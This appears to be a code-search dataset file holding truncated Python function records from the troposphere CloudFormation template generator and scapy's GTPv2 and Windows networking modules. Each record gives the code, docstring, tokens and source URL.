[ "Inspects", "the", "definition", "and", "returns", "a", "copy", "of", "it", "that", "is", "updated", "with", "any", "special", "property", "such", "as", "Condition", "UpdatePolicy", "and", "the", "like", "." ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L301-L332
train
cloudtools/troposphere
troposphere/template_generator.py
TemplateGenerator._generate_custom_type
def _generate_custom_type(self, resource_type): """ Dynamically allocates a new CustomResource class definition using the specified Custom::SomeCustomName resource type. This special resource type is equivalent to the AWS::CloudFormation::CustomResource. """ if not resour...
python
def _generate_custom_type(self, resource_type): """ Dynamically allocates a new CustomResource class definition using the specified Custom::SomeCustomName resource type. This special resource type is equivalent to the AWS::CloudFormation::CustomResource. """ if not resour...
[ "def", "_generate_custom_type", "(", "self", ",", "resource_type", ")", ":", "if", "not", "resource_type", ".", "startswith", "(", "\"Custom::\"", ")", ":", "raise", "TypeError", "(", "\"Custom types must start with Custom::\"", ")", "custom_type", "=", "type", "(",...
Dynamically allocates a new CustomResource class definition using the specified Custom::SomeCustomName resource type. This special resource type is equivalent to the AWS::CloudFormation::CustomResource.
[ "Dynamically", "allocates", "a", "new", "CustomResource", "class", "definition", "using", "the", "specified", "Custom", "::", "SomeCustomName", "resource", "type", ".", "This", "special", "resource", "type", "is", "equivalent", "to", "the", "AWS", "::", "CloudForm...
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L334-L348
train
cloudtools/troposphere
troposphere/template_generator.py
TemplateGenerator._generate_autoscaling_metadata
def _generate_autoscaling_metadata(self, cls, args): """ Provides special handling for the autoscaling.Metadata object """ assert isinstance(args, Mapping) init_config = self._create_instance( cloudformation.InitConfig, args['AWS::CloudFormation::Init']['config']) ...
python
def _generate_autoscaling_metadata(self, cls, args): """ Provides special handling for the autoscaling.Metadata object """ assert isinstance(args, Mapping) init_config = self._create_instance( cloudformation.InitConfig, args['AWS::CloudFormation::Init']['config']) ...
[ "def", "_generate_autoscaling_metadata", "(", "self", ",", "cls", ",", "args", ")", ":", "assert", "isinstance", "(", "args", ",", "Mapping", ")", "init_config", "=", "self", ".", "_create_instance", "(", "cloudformation", ".", "InitConfig", ",", "args", "[", ...
Provides special handling for the autoscaling.Metadata object
[ "Provides", "special", "handling", "for", "the", "autoscaling", ".", "Metadata", "object" ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L350-L369
train
cloudtools/troposphere
troposphere/template_generator.py
TemplateGenerator._get_function_type
def _get_function_type(self, function_name): """ Returns the function object that matches the provided name. Only Fn:: and Ref functions are supported here so that other functions specific to troposphere are skipped. """ if (function_name.startswith("Fn::") and ...
python
def _get_function_type(self, function_name): """ Returns the function object that matches the provided name. Only Fn:: and Ref functions are supported here so that other functions specific to troposphere are skipped. """ if (function_name.startswith("Fn::") and ...
[ "def", "_get_function_type", "(", "self", ",", "function_name", ")", ":", "if", "(", "function_name", ".", "startswith", "(", "\"Fn::\"", ")", "and", "function_name", "[", "4", ":", "]", "in", "self", ".", "inspect_functions", ")", ":", "return", "self", "...
Returns the function object that matches the provided name. Only Fn:: and Ref functions are supported here so that other functions specific to troposphere are skipped.
[ "Returns", "the", "function", "object", "that", "matches", "the", "provided", "name", ".", "Only", "Fn", "::", "and", "Ref", "functions", "are", "supported", "here", "so", "that", "other", "functions", "specific", "to", "troposphere", "are", "skipped", "." ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L371-L381
train
cloudtools/troposphere
troposphere/template_generator.py
TemplateGenerator._import_all_troposphere_modules
def _import_all_troposphere_modules(self): """ Imports all troposphere modules and returns them """ dirname = os.path.join(os.path.dirname(__file__)) module_names = [ pkg_name for importer, pkg_name, is_pkg in pkgutil.walk_packages([dirname], prefix="troposphe...
python
def _import_all_troposphere_modules(self): """ Imports all troposphere modules and returns them """ dirname = os.path.join(os.path.dirname(__file__)) module_names = [ pkg_name for importer, pkg_name, is_pkg in pkgutil.walk_packages([dirname], prefix="troposphe...
[ "def", "_import_all_troposphere_modules", "(", "self", ")", ":", "dirname", "=", "os", ".", "path", ".", "join", "(", "os", ".", "path", ".", "dirname", "(", "__file__", ")", ")", "module_names", "=", "[", "pkg_name", "for", "importer", ",", "pkg_name", ...
Imports all troposphere modules and returns them
[ "Imports", "all", "troposphere", "modules", "and", "returns", "them" ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L383-L405
train
secdev/scapy
scapy/contrib/gtp_v2.py
PCO_option_dispatcher
def PCO_option_dispatcher(s): """Choose the correct PCO element.""" option = orb(s[0]) cls = PCO_OPTION_CLASSES.get(option, Raw) return cls(s)
python
def PCO_option_dispatcher(s): """Choose the correct PCO element.""" option = orb(s[0]) cls = PCO_OPTION_CLASSES.get(option, Raw) return cls(s)
[ "def", "PCO_option_dispatcher", "(", "s", ")", ":", "option", "=", "orb", "(", "s", "[", "0", "]", ")", "cls", "=", "PCO_OPTION_CLASSES", ".", "get", "(", "option", ",", "Raw", ")", "return", "cls", "(", "s", ")" ]
Choose the correct PCO element.
[ "Choose", "the", "correct", "PCO", "element", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/gtp_v2.py#L476-L481
train
secdev/scapy
scapy/contrib/gtp_v2.py
PCO_protocol_dispatcher
def PCO_protocol_dispatcher(s): """Choose the correct PCO element.""" proto_num = orb(s[0]) * 256 + orb(s[1]) cls = PCO_PROTOCOL_CLASSES.get(proto_num, Raw) return cls(s)
python
def PCO_protocol_dispatcher(s): """Choose the correct PCO element.""" proto_num = orb(s[0]) * 256 + orb(s[1]) cls = PCO_PROTOCOL_CLASSES.get(proto_num, Raw) return cls(s)
[ "def", "PCO_protocol_dispatcher", "(", "s", ")", ":", "proto_num", "=", "orb", "(", "s", "[", "0", "]", ")", "*", "256", "+", "orb", "(", "s", "[", "1", "]", ")", "cls", "=", "PCO_PROTOCOL_CLASSES", ".", "get", "(", "proto_num", ",", "Raw", ")", ...
Choose the correct PCO element.
[ "Choose", "the", "correct", "PCO", "element", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/gtp_v2.py#L628-L632
train
secdev/scapy
scapy/arch/windows/__init__.py
_get_npcap_config
def _get_npcap_config(param_key): """ Get a Npcap parameter matching key in the registry. List: AdminOnly, DefaultFilterSettings, DltNull, Dot11Adapters, Dot11Support LoopbackAdapter, LoopbackSupport, NdisImPlatformBindingOptions, VlanSupport WinPcapCompatible """ hkey = winreg.HKEY_LOC...
python
def _get_npcap_config(param_key): """ Get a Npcap parameter matching key in the registry. List: AdminOnly, DefaultFilterSettings, DltNull, Dot11Adapters, Dot11Support LoopbackAdapter, LoopbackSupport, NdisImPlatformBindingOptions, VlanSupport WinPcapCompatible """ hkey = winreg.HKEY_LOC...
[ "def", "_get_npcap_config", "(", "param_key", ")", ":", "hkey", "=", "winreg", ".", "HKEY_LOCAL_MACHINE", "node", "=", "r\"SYSTEM\\CurrentControlSet\\Services\\npcap\\Parameters\"", "try", ":", "key", "=", "winreg", ".", "OpenKey", "(", "hkey", ",", "node", ")", "...
Get a Npcap parameter matching key in the registry. List: AdminOnly, DefaultFilterSettings, DltNull, Dot11Adapters, Dot11Support LoopbackAdapter, LoopbackSupport, NdisImPlatformBindingOptions, VlanSupport WinPcapCompatible
[ "Get", "a", "Npcap", "parameter", "matching", "key", "in", "the", "registry", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L76-L93
train
secdev/scapy
scapy/arch/windows/__init__.py
_exec_cmd
def _exec_cmd(command): """Call a CMD command and return the output and returncode""" proc = sp.Popen(command, stdout=sp.PIPE, shell=True) if six.PY2: res = proc.communicate()[0] else: res = proc.communicate(timeout=5)[0] return res, proc.retur...
python
def _exec_cmd(command): """Call a CMD command and return the output and returncode""" proc = sp.Popen(command, stdout=sp.PIPE, shell=True) if six.PY2: res = proc.communicate()[0] else: res = proc.communicate(timeout=5)[0] return res, proc.retur...
[ "def", "_exec_cmd", "(", "command", ")", ":", "proc", "=", "sp", ".", "Popen", "(", "command", ",", "stdout", "=", "sp", ".", "PIPE", ",", "shell", "=", "True", ")", "if", "six", ".", "PY2", ":", "res", "=", "proc", ".", "communicate", "(", ")", ...
Call a CMD command and return the output and returncode
[ "Call", "a", "CMD", "command", "and", "return", "the", "output", "and", "returncode" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L174-L183
train
secdev/scapy
scapy/arch/windows/__init__.py
get_windows_if_list
def get_windows_if_list(extended=False): """Returns windows interfaces through GetAdaptersAddresses. params: - extended: include anycast and multicast IPv6 (default False)""" # Should work on Windows XP+ def _get_mac(x): size = x["physical_address_length"] if size != 6: ...
python
def get_windows_if_list(extended=False): """Returns windows interfaces through GetAdaptersAddresses. params: - extended: include anycast and multicast IPv6 (default False)""" # Should work on Windows XP+ def _get_mac(x): size = x["physical_address_length"] if size != 6: ...
[ "def", "get_windows_if_list", "(", "extended", "=", "False", ")", ":", "# Should work on Windows XP+", "def", "_get_mac", "(", "x", ")", ":", "size", "=", "x", "[", "\"physical_address_length\"", "]", "if", "size", "!=", "6", ":", "return", "\"\"", "data", "...
Returns windows interfaces through GetAdaptersAddresses. params: - extended: include anycast and multicast IPv6 (default False)
[ "Returns", "windows", "interfaces", "through", "GetAdaptersAddresses", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L205-L265
train
secdev/scapy
scapy/arch/windows/__init__.py
get_ips
def get_ips(v6=False): """Returns all available IPs matching to interfaces, using the windows system. Should only be used as a WinPcapy fallback.""" res = {} for iface in six.itervalues(IFACES): ips = [] for ip in iface.ips: if v6 and ":" in ip: ips.append(ip)...
python
def get_ips(v6=False): """Returns all available IPs matching to interfaces, using the windows system. Should only be used as a WinPcapy fallback.""" res = {} for iface in six.itervalues(IFACES): ips = [] for ip in iface.ips: if v6 and ":" in ip: ips.append(ip)...
[ "def", "get_ips", "(", "v6", "=", "False", ")", ":", "res", "=", "{", "}", "for", "iface", "in", "six", ".", "itervalues", "(", "IFACES", ")", ":", "ips", "=", "[", "]", "for", "ip", "in", "iface", ".", "ips", ":", "if", "v6", "and", "\":\"", ...
Returns all available IPs matching to interfaces, using the windows system. Should only be used as a WinPcapy fallback.
[ "Returns", "all", "available", "IPs", "matching", "to", "interfaces", "using", "the", "windows", "system", ".", "Should", "only", "be", "used", "as", "a", "WinPcapy", "fallback", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L268-L280
train
secdev/scapy
scapy/arch/windows/__init__.py
get_ip_from_name
def get_ip_from_name(ifname, v6=False): """Backward compatibility: indirectly calls get_ips Deprecated.""" iface = IFACES.dev_from_name(ifname) return get_ips(v6=v6).get(iface, [""])[0]
python
def get_ip_from_name(ifname, v6=False): """Backward compatibility: indirectly calls get_ips Deprecated.""" iface = IFACES.dev_from_name(ifname) return get_ips(v6=v6).get(iface, [""])[0]
[ "def", "get_ip_from_name", "(", "ifname", ",", "v6", "=", "False", ")", ":", "iface", "=", "IFACES", ".", "dev_from_name", "(", "ifname", ")", "return", "get_ips", "(", "v6", "=", "v6", ")", ".", "get", "(", "iface", ",", "[", "\"\"", "]", ")", "["...
Backward compatibility: indirectly calls get_ips Deprecated.
[ "Backward", "compatibility", ":", "indirectly", "calls", "get_ips", "Deprecated", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L283-L287
train
secdev/scapy
scapy/arch/windows/__init__.py
_pcap_service_control
def _pcap_service_control(action, askadmin=True): """Internal util to run pcap control command""" command = action + ' ' + pcap_service_name() res, code = _exec_cmd(_encapsulate_admin(command) if askadmin else command) if code != 0: warning(res.decode("utf8", errors="ignore")) return (code =...
python
def _pcap_service_control(action, askadmin=True): """Internal util to run pcap control command""" command = action + ' ' + pcap_service_name() res, code = _exec_cmd(_encapsulate_admin(command) if askadmin else command) if code != 0: warning(res.decode("utf8", errors="ignore")) return (code =...
[ "def", "_pcap_service_control", "(", "action", ",", "askadmin", "=", "True", ")", ":", "command", "=", "action", "+", "' '", "+", "pcap_service_name", "(", ")", "res", ",", "code", "=", "_exec_cmd", "(", "_encapsulate_admin", "(", "command", ")", "if", "as...
Internal util to run pcap control command
[ "Internal", "util", "to", "run", "pcap", "control", "command" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L572-L578
train
secdev/scapy
scapy/arch/windows/__init__.py
pcapname
def pcapname(dev): """Get the device pcap name by device name or Scapy NetworkInterface """ if isinstance(dev, NetworkInterface): if dev.is_invalid(): return None return dev.pcap_name try: return IFACES.dev_from_name(dev).pcap_name except ValueError: retu...
python
def pcapname(dev): """Get the device pcap name by device name or Scapy NetworkInterface """ if isinstance(dev, NetworkInterface): if dev.is_invalid(): return None return dev.pcap_name try: return IFACES.dev_from_name(dev).pcap_name except ValueError: retu...
[ "def", "pcapname", "(", "dev", ")", ":", "if", "isinstance", "(", "dev", ",", "NetworkInterface", ")", ":", "if", "dev", ".", "is_invalid", "(", ")", ":", "return", "None", "return", "dev", ".", "pcap_name", "try", ":", "return", "IFACES", ".", "dev_fr...
Get the device pcap name by device name or Scapy NetworkInterface
[ "Get", "the", "device", "pcap", "name", "by", "device", "name", "or", "Scapy", "NetworkInterface" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L759-L770
train
secdev/scapy
scapy/arch/windows/__init__.py
open_pcap
def open_pcap(iface, *args, **kargs): """open_pcap: Windows routine for creating a pcap from an interface. This function is also responsible for detecting monitor mode. """ iface_pcap_name = pcapname(iface) if not isinstance(iface, NetworkInterface) and iface_pcap_name is not None: iface = I...
python
def open_pcap(iface, *args, **kargs): """open_pcap: Windows routine for creating a pcap from an interface. This function is also responsible for detecting monitor mode. """ iface_pcap_name = pcapname(iface) if not isinstance(iface, NetworkInterface) and iface_pcap_name is not None: iface = I...
[ "def", "open_pcap", "(", "iface", ",", "*", "args", ",", "*", "*", "kargs", ")", ":", "iface_pcap_name", "=", "pcapname", "(", "iface", ")", "if", "not", "isinstance", "(", "iface", ",", "NetworkInterface", ")", "and", "iface_pcap_name", "is", "not", "No...
open_pcap: Windows routine for creating a pcap from an interface. This function is also responsible for detecting monitor mode.
[ "open_pcap", ":", "Windows", "routine", "for", "creating", "a", "pcap", "from", "an", "interface", ".", "This", "function", "is", "also", "responsible", "for", "detecting", "monitor", "mode", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L792-L811
train
secdev/scapy
scapy/arch/windows/__init__.py
_read_routes_c_v1
def _read_routes_c_v1(): """Retrieve Windows routes through a GetIpForwardTable call. This is compatible with XP but won't get IPv6 routes.""" def _extract_ip(obj): return inet_ntop(socket.AF_INET, struct.pack("<I", obj)) routes = [] for route in GetIpForwardTable(): ifIndex = route...
python
def _read_routes_c_v1(): """Retrieve Windows routes through a GetIpForwardTable call. This is compatible with XP but won't get IPv6 routes.""" def _extract_ip(obj): return inet_ntop(socket.AF_INET, struct.pack("<I", obj)) routes = [] for route in GetIpForwardTable(): ifIndex = route...
[ "def", "_read_routes_c_v1", "(", ")", ":", "def", "_extract_ip", "(", "obj", ")", ":", "return", "inet_ntop", "(", "socket", ".", "AF_INET", ",", "struct", ".", "pack", "(", "\"<I\"", ",", "obj", ")", ")", "routes", "=", "[", "]", "for", "route", "in...
Retrieve Windows routes through a GetIpForwardTable call. This is compatible with XP but won't get IPv6 routes.
[ "Retrieve", "Windows", "routes", "through", "a", "GetIpForwardTable", "call", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L821-L845
train
secdev/scapy
scapy/arch/windows/__init__.py
_read_routes_c
def _read_routes_c(ipv6=False): """Retrieve Windows routes through a GetIpForwardTable2 call. This is not available on Windows XP !""" af = socket.AF_INET6 if ipv6 else socket.AF_INET sock_addr_name = 'Ipv6' if ipv6 else 'Ipv4' sin_addr_name = 'sin6_addr' if ipv6 else 'sin_addr' metric_name = '...
python
def _read_routes_c(ipv6=False): """Retrieve Windows routes through a GetIpForwardTable2 call. This is not available on Windows XP !""" af = socket.AF_INET6 if ipv6 else socket.AF_INET sock_addr_name = 'Ipv6' if ipv6 else 'Ipv4' sin_addr_name = 'sin6_addr' if ipv6 else 'sin_addr' metric_name = '...
[ "def", "_read_routes_c", "(", "ipv6", "=", "False", ")", ":", "af", "=", "socket", ".", "AF_INET6", "if", "ipv6", "else", "socket", ".", "AF_INET", "sock_addr_name", "=", "'Ipv6'", "if", "ipv6", "else", "'Ipv4'", "sin_addr_name", "=", "'sin6_addr'", "if", ...
Retrieve Windows routes through a GetIpForwardTable2 call. This is not available on Windows XP !
[ "Retrieve", "Windows", "routes", "through", "a", "GetIpForwardTable2", "call", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L848-L893
train
secdev/scapy
scapy/arch/windows/__init__.py
in6_getifaddr
def in6_getifaddr(): """ Returns all IPv6 addresses found on the computer """ ifaddrs = [] ip6s = get_ips(v6=True) for iface in ip6s: ips = ip6s[iface] for ip in ips: scope = in6_getscope(ip) ifaddrs.append((ip, scope, iface)) # Appends Npcap loopback ...
python
def in6_getifaddr(): """ Returns all IPv6 addresses found on the computer """ ifaddrs = [] ip6s = get_ips(v6=True) for iface in ip6s: ips = ip6s[iface] for ip in ips: scope = in6_getscope(ip) ifaddrs.append((ip, scope, iface)) # Appends Npcap loopback ...
[ "def", "in6_getifaddr", "(", ")", ":", "ifaddrs", "=", "[", "]", "ip6s", "=", "get_ips", "(", "v6", "=", "True", ")", "for", "iface", "in", "ip6s", ":", "ips", "=", "ip6s", "[", "iface", "]", "for", "ip", "in", "ips", ":", "scope", "=", "in6_gets...
Returns all IPv6 addresses found on the computer
[ "Returns", "all", "IPv6", "addresses", "found", "on", "the", "computer" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L916-L930
train
secdev/scapy
scapy/arch/windows/__init__.py
get_working_if
def get_working_if(): """Return an interface that works""" try: # return the interface associated with the route with smallest # mask (route by default if it exists) iface = min(conf.route.routes, key=lambda x: x[1])[3] except ValueError: # no route iface = scapy.cons...
python
def get_working_if(): """Return an interface that works""" try: # return the interface associated with the route with smallest # mask (route by default if it exists) iface = min(conf.route.routes, key=lambda x: x[1])[3] except ValueError: # no route iface = scapy.cons...
[ "def", "get_working_if", "(", ")", ":", "try", ":", "# return the interface associated with the route with smallest", "# mask (route by default if it exists)", "iface", "=", "min", "(", "conf", ".", "route", ".", "routes", ",", "key", "=", "lambda", "x", ":", "x", "...
Return an interface that works
[ "Return", "an", "interface", "that", "works" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L959-L974
train
secdev/scapy
scapy/arch/windows/__init__.py
route_add_loopback
def route_add_loopback(routes=None, ipv6=False, iflist=None): """Add a route to 127.0.0.1 and ::1 to simplify unit tests on Windows""" if not WINDOWS: warning("Not available") return warning("This will completely mess up the routes. Testing purpose only !") # Add only if some adpaters al...
python
def route_add_loopback(routes=None, ipv6=False, iflist=None): """Add a route to 127.0.0.1 and ::1 to simplify unit tests on Windows""" if not WINDOWS: warning("Not available") return warning("This will completely mess up the routes. Testing purpose only !") # Add only if some adpaters al...
[ "def", "route_add_loopback", "(", "routes", "=", "None", ",", "ipv6", "=", "False", ",", "iflist", "=", "None", ")", ":", "if", "not", "WINDOWS", ":", "warning", "(", "\"Not available\"", ")", "return", "warning", "(", "\"This will completely mess up the routes....
Add a route to 127.0.0.1 and ::1 to simplify unit tests on Windows
[ "Add", "a", "route", "to", "127", ".", "0", ".", "0", ".", "1", "and", "::", "1", "to", "simplify", "unit", "tests", "on", "Windows" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L985-L1057
train
secdev/scapy
scapy/arch/windows/__init__.py
NetworkInterface.update
def update(self, data): """Update info about a network interface according to a given dictionary. Such data is provided by get_windows_if_list """ self.data = data self.name = data['name'] self.description = data['description'] self.win_index = data['win_index'] ...
python
def update(self, data): """Update info about a network interface according to a given dictionary. Such data is provided by get_windows_if_list """ self.data = data self.name = data['name'] self.description = data['description'] self.win_index = data['win_index'] ...
[ "def", "update", "(", "self", ",", "data", ")", ":", "self", ".", "data", "=", "data", "self", ".", "name", "=", "data", "[", "'name'", "]", "self", ".", "description", "=", "data", "[", "'description'", "]", "self", ".", "win_index", "=", "data", ...
Update info about a network interface according to a given dictionary. Such data is provided by get_windows_if_list
[ "Update", "info", "about", "a", "network", "interface", "according", "to", "a", "given", "dictionary", ".", "Such", "data", "is", "provided", "by", "get_windows_if_list" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L318-L360
train
secdev/scapy
scapy/arch/windows/__init__.py
NetworkInterface._npcap_set
def _npcap_set(self, key, val): """Internal function. Set a [key] parameter to [value]""" res, code = _exec_cmd(_encapsulate_admin( " ".join([_WlanHelper, self.guid[1:-1], key, val]) )) _windows_title() # Reset title of the window if code != 0: raise OSEr...
python
def _npcap_set(self, key, val): """Internal function. Set a [key] parameter to [value]""" res, code = _exec_cmd(_encapsulate_admin( " ".join([_WlanHelper, self.guid[1:-1], key, val]) )) _windows_title() # Reset title of the window if code != 0: raise OSEr...
[ "def", "_npcap_set", "(", "self", ",", "key", ",", "val", ")", ":", "res", ",", "code", "=", "_exec_cmd", "(", "_encapsulate_admin", "(", "\" \"", ".", "join", "(", "[", "_WlanHelper", ",", "self", ".", "guid", "[", "1", ":", "-", "1", "]", ",", ...
Internal function. Set a [key] parameter to [value]
[ "Internal", "function", ".", "Set", "a", "[", "key", "]", "parameter", "to", "[", "value", "]" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L391-L399
train
secdev/scapy
scapy/arch/windows/__init__.py
NetworkInterface.ismonitor
def ismonitor(self): """Returns True if the interface is in monitor mode. Only available with Npcap.""" if self.cache_mode is not None: return self.cache_mode try: res = (self.mode() == "monitor") self.cache_mode = res return res ex...
python
def ismonitor(self): """Returns True if the interface is in monitor mode. Only available with Npcap.""" if self.cache_mode is not None: return self.cache_mode try: res = (self.mode() == "monitor") self.cache_mode = res return res ex...
[ "def", "ismonitor", "(", "self", ")", ":", "if", "self", ".", "cache_mode", "is", "not", "None", ":", "return", "self", ".", "cache_mode", "try", ":", "res", "=", "(", "self", ".", "mode", "(", ")", "==", "\"monitor\"", ")", "self", ".", "cache_mode"...
Returns True if the interface is in monitor mode. Only available with Npcap.
[ "Returns", "True", "if", "the", "interface", "is", "in", "monitor", "mode", ".", "Only", "available", "with", "Npcap", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L414-L424
train
secdev/scapy
scapy/arch/windows/__init__.py
NetworkInterface.setmonitor
def setmonitor(self, enable=True): """Alias for setmode('monitor') or setmode('managed') Only available with Npcap""" # We must reset the monitor cache if enable: res = self.setmode('monitor') else: res = self.setmode('managed') if not res: ...
python
def setmonitor(self, enable=True): """Alias for setmode('monitor') or setmode('managed') Only available with Npcap""" # We must reset the monitor cache if enable: res = self.setmode('monitor') else: res = self.setmode('managed') if not res: ...
[ "def", "setmonitor", "(", "self", ",", "enable", "=", "True", ")", ":", "# We must reset the monitor cache", "if", "enable", ":", "res", "=", "self", ".", "setmode", "(", "'monitor'", ")", "else", ":", "res", "=", "self", ".", "setmode", "(", "'managed'", ...
Alias for setmode('monitor') or setmode('managed') Only available with Npcap
[ "Alias", "for", "setmode", "(", "monitor", ")", "or", "setmode", "(", "managed", ")", "Only", "available", "with", "Npcap" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L426-L438
train
secdev/scapy
scapy/arch/windows/__init__.py
NetworkInterface.setmode
def setmode(self, mode): """Set the interface mode. It can be: - 0 or managed: Managed Mode (aka "Extensible Station Mode") - 1 or monitor: Monitor Mode (aka "Network Monitor Mode") - 2 or master: Master Mode (aka "Extensible Access Point") (supported from Windows 7 and lat...
python
def setmode(self, mode): """Set the interface mode. It can be: - 0 or managed: Managed Mode (aka "Extensible Station Mode") - 1 or monitor: Monitor Mode (aka "Network Monitor Mode") - 2 or master: Master Mode (aka "Extensible Access Point") (supported from Windows 7 and lat...
[ "def", "setmode", "(", "self", ",", "mode", ")", ":", "# According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501", "self", ".", "_check_npcap_requirement", "(", ")", "_modes", "=", "{", "0", ":", "\"managed\"", ",", "1", ":", "\"m...
Set the interface mode. It can be: - 0 or managed: Managed Mode (aka "Extensible Station Mode") - 1 or monitor: Monitor Mode (aka "Network Monitor Mode") - 2 or master: Master Mode (aka "Extensible Access Point") (supported from Windows 7 and later) - 3 or wfd_device: The W...
[ "Set", "the", "interface", "mode", ".", "It", "can", "be", ":", "-", "0", "or", "managed", ":", "Managed", "Mode", "(", "aka", "Extensible", "Station", "Mode", ")", "-", "1", "or", "monitor", ":", "Monitor", "Mode", "(", "aka", "Network", "Monitor", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L447-L471
train
secdev/scapy
scapy/arch/windows/__init__.py
NetworkInterface.setmodulation
def setmodulation(self, modu): """Set the interface modulation. It can be: - 0: dsss - 1: fhss - 2: irbaseband - 3: ofdm - 4: hrdss - 5: erp - 6: ht - 7: vht - 8: ihv - 9: mimo-ofdm - 10: mim...
python
def setmodulation(self, modu): """Set the interface modulation. It can be: - 0: dsss - 1: fhss - 2: irbaseband - 3: ofdm - 4: hrdss - 5: erp - 6: ht - 7: vht - 8: ihv - 9: mimo-ofdm - 10: mim...
[ "def", "setmodulation", "(", "self", ",", "modu", ")", ":", "# According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501", "self", ".", "_check_npcap_requirement", "(", ")", "_modus", "=", "{", "0", ":", "\"dsss\"", ",", "1", ":", "...
Set the interface modulation. It can be: - 0: dsss - 1: fhss - 2: irbaseband - 3: ofdm - 4: hrdss - 5: erp - 6: ht - 7: vht - 8: ihv - 9: mimo-ofdm - 10: mimo-ofdm - the value directly ...
[ "Set", "the", "interface", "modulation", ".", "It", "can", "be", ":", "-", "0", ":", "dsss", "-", "1", ":", "fhss", "-", "2", ":", "irbaseband", "-", "3", ":", "ofdm", "-", "4", ":", "hrdss", "-", "5", ":", "erp", "-", "6", ":", "ht", "-", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L515-L546
train
secdev/scapy
scapy/arch/windows/__init__.py
NetworkInterfaceDict._pcap_check
def _pcap_check(cls): """Performs checks/restart pcap adapter""" if not conf.use_winpcapy: # Winpcap/Npcap isn't installed return _detect = pcap_service_status() def _ask_user(): if not conf.interactive: return False msg =...
python
def _pcap_check(cls): """Performs checks/restart pcap adapter""" if not conf.use_winpcapy: # Winpcap/Npcap isn't installed return _detect = pcap_service_status() def _ask_user(): if not conf.interactive: return False msg =...
[ "def", "_pcap_check", "(", "cls", ")", ":", "if", "not", "conf", ".", "use_winpcapy", ":", "# Winpcap/Npcap isn't installed", "return", "_detect", "=", "pcap_service_status", "(", ")", "def", "_ask_user", "(", ")", ":", "if", "not", "conf", ".", "interactive",...
Performs checks/restart pcap adapter
[ "Performs", "checks", "/", "restart", "pcap", "adapter" ]
